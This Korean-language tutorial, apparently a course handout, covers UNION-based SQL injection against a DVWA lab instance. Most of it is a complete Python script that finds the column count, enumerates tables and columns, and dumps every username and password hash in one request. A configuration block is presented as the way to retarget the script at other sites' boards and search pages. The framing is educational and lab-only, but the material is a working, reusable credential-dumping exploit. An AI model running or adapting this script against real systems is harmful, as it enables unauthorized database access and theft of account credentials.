UNION과 GROUP_CONCAT으로 요청 한 번에 통째로 덤프하기

🛡️ 강사 제공 인가된 실습 환경에서 수행

로컬 실습 환경(DVWA) 전용 학습 자료다. 허가받지 않은 시스템에 쓰면 안 된다.

URLhttp://192.168.10.105/dvwa/vulnerabilities/sqli/ (파라미터 id)
유형UNION 기반 (In-band) SQL Injection — 결과가 화면에 직접 출력되는 경우
적용 가능 곳게시판 검색·상세보기 등 쿼리 결과가 화면에 넘어오는 모든 페이지

Blind와의 결정적 차이

구분BlindUNION
결과가 화면에?안 보임 (참/거짓만)직접 출력됨
뽑는 방법예/아니오 스무고개 (글자당 7번)UNION으로 결과 자리에 끼워넣음
요청 횟수수천 번몇 번이면 끝 (GROUP_CONCAT으로 통째)

Blind는 결과가 안 보여서 스무고개가 필수였지만, UNION은 결과가 화면에 뜨니까 요청 한 번으로 테이블 전체를 통째로 긁어올 수 있다.

핵심 원리

UNION SELECT 는 원래 쿼리 결과 뒤에 내 쿼리 결과를 붙여서 같이 출력시키는 기법이다.

-1' UNION SELECT user, password FROM users-- -
  • id=-1 → 원본 쿼리는 매칭 안 됨 (내 데이터만 깔끔히 출력)
  • UNION SELECT → 그 자리에 users 테이블 값을 끼워넣음
  • -- - → 뒤쪽 따옴표 주석 처리

여기에 GROUP_CONCAT 을 쓰면 여러 행을 한 칸에 몰아넣어 요청 한 번에 전체 테이블을 뽑는다.

전제 조건

UNION은 양쪽 SELECT의 컬럼 개수가 같아야 동작한다. 그래서 공격 전에 ORDER BY N 으로 원본 쿼리의 컬럼 수를 먼저 알아낸다. N을 늘리다 에러가 나는 직전 값이 컬럼 수다.

코드 구조

함수하는 일
find_columns()ORDER BY N 으로 컬럼 개수 자동 탐지
union()UNION 페이로드 주입 → 결과 파싱
parse_result()응답 HTML에서 데이터 뽑는 정규식 (다른 게시판에 쓸 땐 여기만 수정)

자동으로 뽑는 것은 컬럼 개수, VERSION()·DATABASE()·CURRENT_USER(), 현재 DB 테이블 목록, users 테이블 컬럼 목록, 그리고 users 계정·해시 전체 덤프(요청 1번)다.

다른 대상에 쓸 때

상단 설정 블록만 고치면 된다.

  • BASE_URL, PARAM — 대상 URL과 파라미터 이름
  • QUOTE — 문자열 컨텍스트면 ', 숫자면 빈 문자열
  • RESULT_RE가장 중요. 그 페이지에서 데이터가 찍히는 HTML 패턴에 맞게 정규식 수정

전체 코드

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
UNION 기반 SQL Injection 자동 추출 스크립트 (In-band / 결과가 화면에 보이는 경우)
대상: http://192.168.10.105/dvwa/vulnerabilities/sqli/  (id 파라미터)

* 로컬 실습(DVWA) 환경 전용. 허가받지 않은 시스템에 사용 금지.
* Blind와 달리 쿼리 결과가 페이지에 직접 출력되므로, 한 번의 요청으로
  GROUP_CONCAT을 이용해 데이터를 통째로 뽑아온다. (스무고개 불필요)
* 게시판 등 다른 대상에 쓸 때는 아래 [설정]과 parse_result() 만 고치면 된다.
"""

import requests
import re
import sys

requests.packages.urllib3.disable_warnings()

# ────────────────────────────── 설정 ──────────────────────────────
TARGET   = "192.168.10.105"
BASE_URL = f"http://{TARGET}/dvwa/vulnerabilities/sqli/"

PARAM     = "id"                    # 주입할 GET 파라미터 이름
EXTRA     = {"Submit": "Submit"}    # 함께 보내야 하는 파라미터
QUOTE     = "'"                     # 문자열 컨텍스트면 "'", 숫자면 "" 로 변경
COMMENT   = "-- -"                  # 뒤쪽 구문 주석 처리

COOKIES = {
    "security": "low",
    "PHPSESSID": "<SESSION_ID>",   # ← 세션 만료 시 교체
}

HEADERS = {
    "User-Agent": ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) "
                   "AppleWebKit/537.36 (KHTML, like Gecko) "
                   "Chrome/146.0.0.0 Safari/537.36"),
}

# 페이지 출력에서 데이터가 찍히는 두 자리(컬럼)를 파싱하는 정규식
# DVWA sqli: <pre>ID: ...<br>First name: {c1}<br>Surname: {c2}</pre>
RESULT_RE = re.compile(
    r"First name:\s*(.*?)<br\s*/?>\s*Surname:\s*(.*?)</pre>",
    re.DOTALL,
)

SEP_ROW   = "0x0a"      # 행 구분자 (개행)  → GROUP_CONCAT SEPARATOR
SEP_FIELD = "0x3a"      # 필드 구분자 (콜론) → CONCAT
# ────────────────────────────────────────────────────────────────


def request(payload: str) -> str:
    """페이로드를 주입해 응답 본문을 반환한다."""
    params = {PARAM: payload, **EXTRA}
    r = requests.get(BASE_URL, params=params,
                     headers=HEADERS, cookies=COOKIES, verify=False)
    return r.text


def parse_result(html: str):
    """응답에서 (컬럼1, 컬럼2) 출력값들을 뽑아 리스트로 반환한다."""
    return RESULT_RE.findall(html)


def find_columns(max_cols: int = 20) -> int:
    """ORDER BY N 으로 원본 쿼리의 컬럼 개수를 알아낸다."""
    for n in range(1, max_cols + 1):
        payload = f"1{QUOTE} ORDER BY {n}{COMMENT}"
        html = request(payload)
        # 컬럼 수를 초과하면 에러가 나며 정상 결과가 사라진다
        if "Unknown column" in html or "error in your SQL" in html.lower() \
           or not parse_result(html):
            cols = n - 1
            print(f"[+] 컬럼 개수: {cols} 개")
            return cols
    return max_cols


def union(select_list: str, from_clause: str = "") -> list:
    """
    UNION SELECT 를 주입하고 파싱된 결과를 반환한다.
    select_list : "col1, col2" 형태 (컬럼 수와 일치해야 함)
    """
    frm = f" FROM {from_clause}" if from_clause else ""
    # id에 매칭 안 되는 값(-1)을 줘서 원본 행은 빼고 UNION 행만 출력되게 함
    payload = f"-1{QUOTE} UNION SELECT {select_list}{frm}{COMMENT}"
    return parse_result(request(payload))


def main():
    # 1) 컬럼 개수 파악 (UNION은 컬럼 수가 맞아야 동작)
    cols = find_columns()
    if cols < 2:
        print("[!] 데이터를 실을 컬럼이 부족함 (2개 이상 필요)")
        sys.exit(1)

    # 출력에 쓰이는 두 자리 외 나머지 컬럼은 NULL로 채운다
    def slots(a, b):
        filler = ",".join(["NULL"] * (cols - 2))
        return f"{a},{b}" + ("," + filler if cols > 2 else "")

    # 2) DB 기본 정보 (한 방에)
    print("\n── DB 정보 ──")
    rows = union(slots("VERSION()", "CONCAT(DATABASE(),0x3a,CURRENT_USER())"))
    for ver, dbuser in rows:
        print(f"  버전       : {ver}")
        print(f"  DB:사용자  : {dbuser}")

    # 3) 현재 DB의 테이블 목록
    print("\n── 테이블 목록 ──")
    tbls = union(
        slots(f"GROUP_CONCAT(table_name SEPARATOR {SEP_ROW})", "NULL"),
        "information_schema.tables WHERE table_schema=DATABASE()",
    )
    tables = tbls[0][0].split("\n") if tbls else []
    for t in tables:
        print(f"  - {t}")

    # 4) users 테이블 컬럼 목록
    print("\n── users 테이블 컬럼 ──")
    cols_r = union(
        slots(f"GROUP_CONCAT(column_name SEPARATOR {SEP_ROW})", "NULL"),
        "information_schema.columns "
        "WHERE table_schema=DATABASE() AND table_name=0x7573657273",  # 'users'
    )
    print(f"  {cols_r[0][0] if cols_r else '(없음)'}")

    # 5) users 테이블 계정/해시 덤프 (한 번의 요청으로 전부)
    print("\n── users 덤프 (user:password) ──")
    dump = union(
        slots(
            f"GROUP_CONCAT(user,{SEP_FIELD},password SEPARATOR {SEP_ROW})",
            "NULL",
        ),
        "users",
    )
    if dump:
        for line in dump[0][0].split("\n"):
            print(f"  {line}")


if __name__ == "__main__":
    main()

한 줄 요약

결과가 화면에 보이면 UNION으로 결과 자리에 데이터를 끼워넣어 한 번에 통째로 뽑고, 안 보이면 Blind로 스무고개한다. 같은 SQLi여도 화면 출력 여부에 따라 기법이 갈린다.